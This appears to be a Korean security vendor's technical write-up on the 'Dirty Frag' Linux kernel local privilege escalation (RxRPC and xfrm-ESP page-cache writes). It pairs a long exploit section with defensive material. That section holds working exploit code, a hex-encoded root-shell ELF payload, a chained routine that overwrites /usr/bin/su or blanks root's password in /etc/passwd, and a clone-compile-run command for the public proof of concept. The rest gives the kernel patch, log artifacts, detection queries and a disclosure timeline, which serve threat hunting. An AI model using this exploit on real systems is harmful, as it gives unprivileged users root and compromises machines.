오프셋 4에서 8B 쓰기 (A): 4~5번 글자를 ::로 만듦.
오프셋 6에서 8B 쓰기 (B): 6~7번 글자를 0:으로 만듦. (이전 쓰기 일부를 덮어씀)
오프셋 8에서 8B 쓰기 (C): 8~9번 글자를 0:으로, 15번을 :으로 만듦.
③ 연쇄적 암호문 보정 (Chained-ciphertext Correction)
이전의 쓰기가 다음 쓰기의 입력값(C)에 영향을 주므로, 이를 계산에 반영
// Ca에 대해 Ka와 Pa(결과물)를 찾음 ("::") find_K(Ca, /*pred*/ check_pa, &Ka, &Pa); // Cb의 실제 값은 이전 결과물 Pa의 일부와 원본 Cb의 일부가 섞인 형태 memcpy(Cb_actual, Pa+2, 6); memcpy(Cb_actual+6, Cb+6, 2); find_K(Cb_actual, check_pb, &Kb, &Pb); /* "0:" */ // Cc 역시 이전 결과물 Pb와 원본 Cc를 조합하여 실제 암호문 계산 memcpy(Cc_actual, Pb+2, 6); memcpy(Cc_actual+6, Cc+6, 2); find_K(Cc_actual, check_pc, &Kc, &Pc); /* "0:GGGGGG:" */
JavaScript
복사
④ 커널 트리거 실행 단계
K_A, K_B, K_C가 결정되면 각 위치에 대해 커널 트리거를 실행
단계 1: 키 등록 및 핸드쉐이크
rxrpc.ko를 자동 로드하고, 찾은 키 K를 세션 키로 담아 RxRPC 토큰을 등록
build_rxrpc_v1_token(buf, K); /* session_key = K */ syscall(SYS_add_key, "rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
JavaScript
복사
가짜 서버(UDP 소켓)와 RxRPC 클라이언트를 생성하여 보안 수준을 RXRPC_SECURITY_AUTH로 강제
클라이언트가 RPC를 시작하면 가짜 서버가 위조된 CHALLENGE 패킷을 보냄
struct { struct rxrpc_wire_header hdr; struct rxkad_challenge ch; } __attribute__((packed)) c = {0}; c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; c.hdr.securityIndex = 2; c.hdr.epoch = htonl(epoch); c.hdr.cid = htonl(cid); c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); c.ch.min_level = htonl(1); sendto(udp_srv, &c, sizeof(c), 0, /*client*/, ...);
JavaScript
복사
클라이언트는 K를 사용하여 보안 컨텍스트를 초기화하고, 이제 클라이언트는 K로 보호되는 보안 연결이 수립되었다고 믿게 됨
단계 2: 위조된 데이터 패킷 전송
암호화된 데이터의 체크섬(cksum)을 K를 사용해 미리 계산
compute_csum_iv(epoch, cid, /*sec_ix=*/2, K, csum_iv); compute_cksum(cid, callN, /*seq=*/1, K, csum_iv, &cksum_h); struct rxrpc_wire_header mal = { .type = RXRPC_PACKET_TYPE_DATA, .flags = RXRPC_LAST_PACKET, .securityIndex = 2, .epoch = htonl(epoch), .cid = htonl(cid), .callNumber = htonl(callN), .seq = htonl(1), .cksum = htons(cksum_h), .serviceId = htons(svc_id), };
JavaScript
복사
vmsplicesplice를 사용하여 위조된 헤더(28바이트)와 /etc/passwd의 8바이트를 전송
MSG_SPLICE_PAGES에 의해 페이지 캐시 페이지 P가 송신 skb의 frag에 심어짐
int p[2]; pipe(p); vmsplice(p[1], &(struct iovec){&mal, sizeof(mal)}, 1, 0); splice(passwd_fd, &(loff_t){splice_off}, p[1], NULL, 8, SPLICE_F_NONBLOCK); connect(udp_srv, /*client*/, ...); splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + 8, 0);
JavaScript
복사
단계 3: 취약점 발현 (복호화 및 쓰기)
recvmsg 호출 시 커널 내부에서 다음 경로를 거쳐 페이지 캐시에 데이터가 기록
recvmsg(rxsk_cli, &m, 0) rxrpc_recvmsg -> rxrpc_recvmsg_data -> rxrpc_verify_data rxkad_verify_packet -> rxkad_verify_packet_1 skb_to_sgvec(skb, sg, sp->offset=28, 8) skcipher_request_set_crypt(req, sg, sg, 8, iv.x) // src=dst (제자리 연산) crypto_skcipher_decrypt -> crypto_pcbc_decrypt // 실제 쓰기 발생: 페이지 P의 지정된 오프셋에 fcrypt_decrypt 결과 기록 fcrypt_decrypt(page_address(P) + splice_off, ct, K)
JavaScript
복사
⑤ 최종 결과
세 위치(4, 6, 8)에 대해 이 과정을 반복하면 /etc/passwd의 첫 줄이 변조되며 이후 부모 프로세스에서 execve("/usr/bin/su")를 실행하면, 오염된 페이지 캐시가 로드되고 패스워드 필드가 비어있으므로 비밀번호 없이 루트 권한을 획득
이 과정은 unshare()를 사용하지 않으며 일반 사용자에게 허용된 API(add_key, socket, splice, recvmsg)만 사용

3) Patch

이 취약점에 대한 공식적인 업스트림(Upstream) 패치는 아직 존재하지 않으며 취약점 발견자가 제출한 패치는 다음과 같음
기존 코드는 제자리 복호화(In-place decrypt)를 수행하기 직전에 오직 skb_cloned(skb) 여부만을 확인하기 때문에 이로 인해 splice()를 통해 조각(Frag) 내에 고정(Pinned)된 비선형(Non-linear) skb는 아무런 제약 없이 복호화 단계(Decrypt sink)까지 도달
이 패치는 검문소(Gate) 역할을 하는 조건문에 || skb->data_len을 추가하고 이를 통해 비선형 skb 또한 skb_copy()를 거쳐 격리되도록 강제
diff --git a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c index fdd683261226..6c924ef55208 100644 --- a/net/rxrpc/call_event.c +++ b/net/rxrpc/call_event.c @@ -334,7 +334,7 @@ bool rxrpc_input_call_event(struct rxrpc_call *call) if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA && sp->hdr.securityIndex != 0 && - skb_cloned(skb)) { + (skb_cloned(skb) || skb->data_len)) { /* Unshare the packet so that it can be * modified by in-place decryption. */ diff --git a/net/rxrpc/conn_event.c b/net/rxrpc/conn_event.c index a2130d25aaa9..eab7c5f2517a 100644 --- a/net/rxrpc/conn_event.c +++ b/net/rxrpc/conn_event.c @@ -245,7 +245,7 @@ static int rxrpc_verify_response(struct rxrpc_connection *conn, { int ret; - if (skb_cloned(skb)) { + if (skb_cloned(skb) || skb->data_len) { /* Copy the packet if shared so that we can do in-place * decryption. */
JavaScript
복사
리눅스 커널에서 skb->data_len이 0보다 크다는 것은 해당 네트워크 패킷(skb)이 비선형(Non-linear) 상태임을 의미하기 때문에 실제 데이터가 메인 버퍼가 아닌 조각(Frags)에 나뉘어 저장되어 있다는 뜻으로 splice()를 통한 공격은 바로 이 조각 영역에 페이지 캐시를 심는 방식을 사용

4) 변형 취약점

ikotaslabs에서 Linux 커널(7.1-rc2)에서 Dirty Frag 패밀리의 새로운 권한 상승 변종을 발견한 것으로
net/rxrpc/rxgk_common.h 내의 rxgk_decrypt_skb() 함수는 skb_to_sgvec()를 통해 skb의 페이지드 프래그(paged frag)를 직접 스캐터리스트(Scatterlist)화하며, 이후 AEAD 복호화(AES-256-CTS-HMAC-SHA1-96)를 제자리(in-place)에서 실행
이 과정에서 splice()MSG_SPLICE_PAGES를 통해 심어진(planted) 페이지 캐시 페이지가 복호화 버퍼로 사용되어 데이터가 다시 쓰여지기 때문에, /etc/passwd 등 주요 파일의 변조를 통해 비특권 사용자가 루트(root) 권한을 획득 가능
기술적 분석 및 공격 원리
crypto/krb5enc.c복호화 후 MAC 검증(decrypt-then-MAC) 순서를 따릅니다. 따라서 HMAC 검증이 실패하는 시점에 이미 페이지 캐시는 파괴(수정)된 상태
공격자는 CBC 비트 플립(Bit-flip)과 CTS-3 스왑(swap) 기법을 조합하여, 자신이 직접 생성한 RxGK 세션 키를 이용해 원하는 대로 제어된 평문을 임의로 써넣을 수 있음
이는 fcrypt의 키 무차별 대입(Brute-force)이 필요했던 기존 RxKAD 변종과 달리, 별도의 블루트포스 과정이 필요하지 않다는 점에서 더욱 강력
공격 벡터: 비특권 사용자로부터 root 권한 획득까지의 실행 로그 확인 완료
핵심 원리: skb_to_sgvec()가 외부(파일 시스템)의 메모리 주소를 참조하고 있는 상태에서 직접 쓰기를 수행하는 논리 결함
CVE-2026-43500과의 관계
본 취약점은 김현우(@v4bel) 씨에 의해 공표된 Dirty Frag 패밀리(CVE-2026-43500)의 RxGK 변종에 해당
V4bel 씨의 Writeup에서는 RxKAD 보안 클래스(pcbc(fcrypt))에서의 실증이 공개되었으나,
해당 변종은 RxGK 보안 클래스(AES-256-CTS-HMAC-SHA1-96)에 대해 독립적으로 PoC(개념 증명)를 구축
security@kernel.org에 독립적으로 보고를 수행했으며, Linux 커널 CNA(취약점 명명 기관)로부터 "디스패치 레벨(dispatch level)의 수정으로 두 변종이 모두 커버되므로 CVE-2026-43500에 통합한다"는 판정을 받음
본 게시글은 수정 패치가 메인라인(mainline)에 반영된 이후 작성된 기술 Writeup이며, 제로데이(0-day) 공개가 아님

3.3. Chaining

xfrm-ESP 페이지 캐시 쓰기는 Copy Fail과 유사하게 매우 강력한 임의 4바이트 쓰기(STORE) 프리미티브를 제공하며, 대부분의 리눅스 배포판에 포함
그러나 이 방식은 네임스페이스를 생성할 수 있는 권한(unshare(CLONE_NEWUSER))을 필요
우분투(Ubuntu)는 때때로 AppArmor 정책을 통해 비특권 사용자의 네임스페이스 생성을 차단하기도 하는데, 이러한 환경에서는 xfrm-ESP 취약점을 트리거할 수 없음
RxRPC 페이지 캐시 쓰기는 네임스페이스 생성 권한을 요구하지 않지만, rxrpc.ko 모듈 자체가 대부분의 배포판에 포함되어 있지 않다는 단점이 존재
예를 들어, RHEL 10.1의 기본 빌드에는 rxrpc.ko가 포함되지 않지만 우분투의 경우, rxrpc.ko 모듈이 기본적으로 로드
이 두 가지 변종을 체이닝하면 서로의 사각지대를 완벽하게 보완할 수 있게 되는데 사용자 네임스페이스 생성이 허용된 환경에서는 ESP 익스플로잇이 먼저 실행
반대로, 네임스페이스 생성이 차단되었지만 rxrpc.ko가 빌드되어 있는 우분투 환경에서는 RxRPC 익스플로잇이 작동
[체인 익스플로잇 실행 단계]
1.
자식 프로세스에서 ESP 변종 시도
unshare(USER|NET) 실행 → XFRM SA 등록 → splice 실행 → /usr/bin/su 수정 시도
2.
셸코드 주입 확인
/usr/bin/su의 엔트리 오프셋에 셸코드의 첫 번째 바이트가 제대로 심어졌는지 확인
수정 성공 시: 부모 프로세스가 forkpty + execve("/usr/bin/su")를 수행하여 루트 셸(root shell)을 획득
3.
수정 실패 시 (예: unshareEPERM을 반환, esp4.ko 미로드, 또는 SA 등록 실패 등)
RxRPC 변종으로 폴백(Fall back) : /etc/passwd 첫 번째 줄의 키(K) 검색 → 세 번의 splice 트리거 실행 → passwd 필드를 비움
forkpty + execve("/usr/bin/su") 실행 → PAM nullok 설정에 의해 인증 통과 → 루트 셸 획득
위와 같은 실행 흐름 덕분에, 단 하나의 익스플로잇 바이너리만으로 주요 리눅스 배포판 전체를 공략
설령 환경 정책에 의해 한 가지 변종이 차단되더라도, 다른 변종이 그 간극을 메우는데 사용 가능

04. Dirty Flag PoC

실행방법 : git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
POC 초기화 방법 : echo 3 > /proc/sys/vm/drop_caches 또는 시스템 재부팅
이 익스플로잇을 실행하면 페이지 캐시가 오염되기 때문에 오염된 페이지 캐시를 지우고 시스템 안전성을 확보하려면 아래 명령어 실행 필요
POC 코드 설명
_start at 0x400078: 프로그램의 실제 실행 시작점이 파일 내부 오프셋 0x78 지점으로 설정
PT_LOAD: 파일의 0xb8(184바이트)만큼을 메모리 주소 0x400000읽기 및 실행(R+X) 권한으로 로드하라는 커널 지침
/* * 192-byte minimal x86_64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. * * Setting TERM in the new shell's env silences the * "tput: No value for $TERM" / "test: : integer expected" noise * /etc/bash.bashrc and friends emit when TERM is unset. * * Code (from offset 0x78): * // 권한상승(공격자가 현재 프로세스의 권한을 root로 승격하는 과정 * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a ; setgid * 0f 05 syscall * b0 69 mov al, 0x69 ; setuid * 0f 05 syscall * b0 74 mov al, 0x74 ; setgroups * 0f 05 syscall * // TERM=xtream 설정을 통해 /etc/bash.bashrc 같은 시스템 설정 파일들이 실행될 때 환경 변수 $TERM이 없으면 오류를 출력하는 것을 방지 * 6a 00 push 0 ; envp[1] = NULL * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" * 50 push rax ; envp[0] * 48 89 e2 mov rdx, rsp ; rdx = envp * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" * 31 f6 xor esi, esi ; rsi = NULL (argv) * // 앞서 준비한 환경변수와 함께 실자 관리자 쉘인 /bin/sh를 실행 * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) * 0f 05 syscall ; execve("/bin/sh",NULL,envp) * // 파일의 마지막 부분(프셋 0xa5 이후)에는 코드가 참조하는 실제 문자열들이 저장 * "TERM=xterm\0" (offset 0xa5..0xaf) * "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, };
JavaScript
복사
일반 사용자는 커널의 보안 정책(XFRM)을 수정할 권한이 없기 때문에 이를 우회하기 위해 사용자 네임스페이스를 생성
커널의 보안 정책 메모리에 공격자의 데이터(patch_seqhi)를 합법적인 값처럼 보관시키는 단계
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } char buf[4096] = {0}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr("127.0.0.1"); xs->id.spi = htonl(spi); // 패킷을 식별할 ID xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr("127.0.0.1"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; // 확장 시퀀스 번호(ESN)모드 활성화(취약점 유발) xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr("127.0.0.1"); xs->sel.saddr.a4 = inet_addr("127.0.0.1"); { char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; // patch_seqhi는 공격자가 파일에 쓰고 싶은 4바이트 데이터로 커널은 이것을 단순한 '번호로'생각하고 메모리에 저장 esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); } if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } // 넷링크 메시지를 통해 커널에 SA 등록 char rbuf[4096]; int n = recv(sk, rbuf, sizeof(rbuf), 0); if (n < 0) { close(sk); return -1; } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0; }
JavaScript
복사
splice를 사용하여 타겟 파일의 메모리 주소를 네트워크 패킷에 직접 꽂아 넣는 기능을 수행
splice를 쓰는 이유는 파일의 내용을 복사하지 않고, 파일이 올라가 있는 메모리 그 자체를 패킷의 데이터 조각으로 사용하기 위함
static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr("127.0.0.1") }, }; if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } int sk_send = socket(AF_INET, SOCK_DGRAM, 0); if (sk_send < 0) { close(sk_recv); return -1; } if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_send); close(sk_recv); return -1; } int file_fd = open(path, O_RDONLY); // [1] 타겟파일(/usr/bin/su)을 읽기 전용으로 오픈 if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } int pfd[2]; //[2] 파이프 생성(데이터 전달 통로) if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); memset(hdr + 8, 0xCC, 16); struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } off_t off = offset; ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); // [4] splice: 파일의 페이지 캐시(메모리)를 파이프에 연결 (복사가 아닌 주소 연결)하고 이 시점에 패킷 내부에 파일의 실제 메모리 주소가 위치 if (s != 16) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); // [5] 전송: 파이프의 내용을 네트워크 소켓으로 쏘고 이 커널의 수신엔진(esp_input)이 이 패킷을 처리 시작 /* still proceed regardless of splice rc — kernel may have already * decrypted the page in the time between splice and recv */ usleep(150 * 1000); close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return s == 40 ? 0 : -1; }
JavaScript
복사
corrupt_susu_lpe_main에서 전체 과정을 조율하여 루트 권한 탈취
한 번에 4바이트씩만 쓸 수 있으므로, 쉘코드 전체(192바이트)를 쓰기 위해 48번 반복해서 커널을 속이며 작업이 끝나면 메모리 상의 /usr/bin/su는 완전히 다른 프로그램이 되어 있는 상태
static int corrupt_su(void) { setup_userns_netns(); // 1단계: 환경 준비 for (int i = 0; i < PAYLOAD_LEN / 4; i++) { // [1] 쉘코드를 4바이트씩 쪼개어 장전 uint32_t seqhi = ... shell_elf[i] ...; add_xfrm_sa(spi, seqhi); // 2단계: SA 등록 // [2] 파일 오프셋을 옮겨가며 쓰기 실행 do_one_write(TARGET_PATH, off, spi); // 3단계: 트리거 } } int su_lpe_main(int argc, char **argv) { if (fork() == 0) { corrupt_su(); // 자식 프로세스에서 파일 오염 실행 _exit(0); } wait(NULL); // 작업 완료 대기 // [4] 이제 /usr/bin/su는 루트 셸을 실행하는 악성코드가 되었습니다. // 이를 실행하여 루트 권한을 얻습니다. execl(TARGET_PATH, "su", NULL); }
JavaScript
복사

05. SPIDER ExD Threat Hunting 방안

테스트 환경
Ubuntu 24.04.2 LTS:기본 설정
Rocky Linux 9.7 (Blue Onyx): `dnf install gcc`, gcc라이브러리 설치가 선행 필요
SPIDER ExD에서의 탐지 조건(로그 소스)
Debian: (test by Ubuntu): `/var/log/auth.log`
RHEL: (test by Rocky Linux): `/var/log/messages`
RHEL: `/var/log/audit/audit.log`

5.1. Ubuntu Threat Hunting 방안

Ubuntu에서 해당Exploit을 시도하는 경우 /var/log/auth.log 경로에 아래와 같은 로그가 생성
시스템 기본 인증 모듈PAM에서 su 인증 단계를 처리했으나, root 계정의 비밀번호가 비어있는 것으로 인식하고 결과적으로 패스워드를 요구하지 않은 채 root 권한으로 승인한 케이스
2026-05-08T12:17:09.406225+09:00 exdubuntutest su: pam_unix(su-l:auth): user [root] has blank password; authenticated without it 2026-05-08T12:17:09.409377+09:00 exdubuntutest su[1977]: (to root) igloo on pts/1 2026-05-08T12:17:09.409496+09:00 exdubuntutest su[1977]: pam_unix(su-l:session): session opened for user root(uid=0) by igloo(uid=1000)
JavaScript
복사

5.2. Rocky Linux Threat Hunting 방안

Rocky Linux의 경우 CVE-2026-31431(Copy Fail) 취약점 패턴처럼 `/var/log/secure`에서 PAM 로그가 쌓이지 않는 현상이 발생하기 때문에 이전 정책으로 탐지 불가
단, 추가적인 아티팩트는 /var/log/messages에서 확인 가능(process 'su' launched '/bin/sh' with NULL argv: empty string added라는 로그 생성)
May 8 12:34:10 localhost kernel: alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac(sha256-avx2),cbc-aes-aesni))) May 8 12:34:17 localhost kernel: process 'su' launched '/bin/sh' with NULL argv: empty string added
JavaScript
복사

5.3. Rocky Linux Threat Hunting 방안

Ubuntu Kernel에서 지원하지 않는 ‘MAC_IPSEC_EVENT’를 통하여 해당 취약점을 탐지 가능(rule 미설정)
/var/log/audit/audit.log경로에 아래와 같은 로그 생성(op=SAD-add auid=1000 ses=5 subj=kernel src=127.0.0.1 dst=127.0.0.1 라는 로그 생성)
type=MAC_IPSEC_EVENT msg=audit(1778214512.072:331): op=SAD-add auid=1000 ses=5 subj=kernel src=127.0.0.1 dst=127.0.0.1 spi=3735928369(0xdeadbe31) res=1AUID="igloo"
JavaScript
복사

5.4. SPIDER ExD 추가 탐지 정책(단일룰)

1) [Linux] Blank 패스워드를 통한 비정상 root 계정 전환 시도

테스트 환경: Ubuntu 24.04
탐지 소스: system
MITRE ATT&CK: [TA0004, T1068]
탐지 쿼리
/* 테스트 결과 Ubuntu의 /var/log/auth.log에서 확인됨. */ AND sublog = 'auth' /* blank password를 통한 root 전환 시도 */ msg like '%user [root] has blank password; authenticated without it'
JavaScript
복사

2) [Linux] NULL argv를 이용한 로컬 권한 상승(LPE) 시도 탐지

테스트 환경: Rocky Linux 9.7
탐지 소스: system
MITRE ATT&CK: [TA0004, T1068]
탐지 쿼리
/* Linux Kernel에서 확인됨 */ proc_name = 'kernel' /* 프로세스 su, pkexec 등이 될 수 있고, Shell같은 경우 /bin/sh, /bin/bash가 될 수 있음. */ msg like '%process \'%\' launched \'%\' with NULL argv: empty string added'
JavaScript
복사

3) [Linux] Root가 아닌 계정으로부터 다수의 비정상 IPsec 조작 (Dirty Frag 징후)

테스트 환경: Rocky Linux 9.7
탐지 소스: system
임계치: 5초 당 20건 이상 발생 (실제는 초단위로 4X건 발생)
탐지 쿼리
/* /var/log/audit/audit.log에서 탐지한다. Rocky Linux에서 audit.rule은 기본값 */ sublog = 'audit' /* IPSEC 이벤트 발생 */ AND type = 'MAC_IPSEC_EVENT' /* 2. 일반 사용자(root가 아닌)의 가짜 IPsec 터널(루프백) 생성 시도 탐지 */ /* auid가 0이 아닌 1 이상의 숫자(일반 유저) 매칭 */ AND regexp(msg, 'op=SAD-add auid=[1-9][0-9]* .+ subj=kernel src=127\.0\.0\.1 dst=127\.0\.0\.1')
JavaScript
복사

06. Dirty Frag(ESP) 공개 및 Timeline

2026-04-30: 여러 주요 배포판에서 루트 권한을 획득할 수 있는 무기화된 익스플로잇(Weaponized Exploit)과 ESP 취약점에 대한 상세 정보를 security@kernel.org에 제출함
2026-04-30: ESP 취약점에 대한 패치(Patch)를 netdev 메일링 리스트에 제출함. 이 시점에 해당 이슈에 대한 정보가 대중에 공개됨
2026-04-30 (+9시간): Kuan-Ting Chen이 재현 코드(Reproducer)가 포함된 ESP 취약점 보고서를 security@kernel.org에 제출함
2026-05-04: Kuan-Ting Chen이 '공유 프래그(shared-frag)' 접근 방식을 사용한 개선된 패치를 netdev 메일링 리스트에 제출함
2026-05-07: 해당 패치가 netdev 트리(Tree)에 최종 병합(Merge)됨
2026-05-07: 취약점 및 익스플로잇에 대한 상세 정보를 linux-distros 메일링 리스트에 제출함. 엠바고(공개 유예) 기간은 5일로 설정되었으나, 만약 엠바고 기간 중 제3자가 인터넷에 익스플로잇을 게시할 경우 Dirty Frag 익스플로잇을 즉시 공개하기로 합의함
2026-05-07: 관련 없는 제3자에 의해 이 취약점에 대한 상세 정보와 익스플로잇이 공개적으로 게시되면서 엠바고가 깨짐
2026-05-07: 배포판 관리자들로부터 Dirty Frag에 대한 전체 공개 합의를 얻은 후, 전체 Dirty Frag 문서를 공식 발표함
IGLOO Corp. 2026. All rights reserved.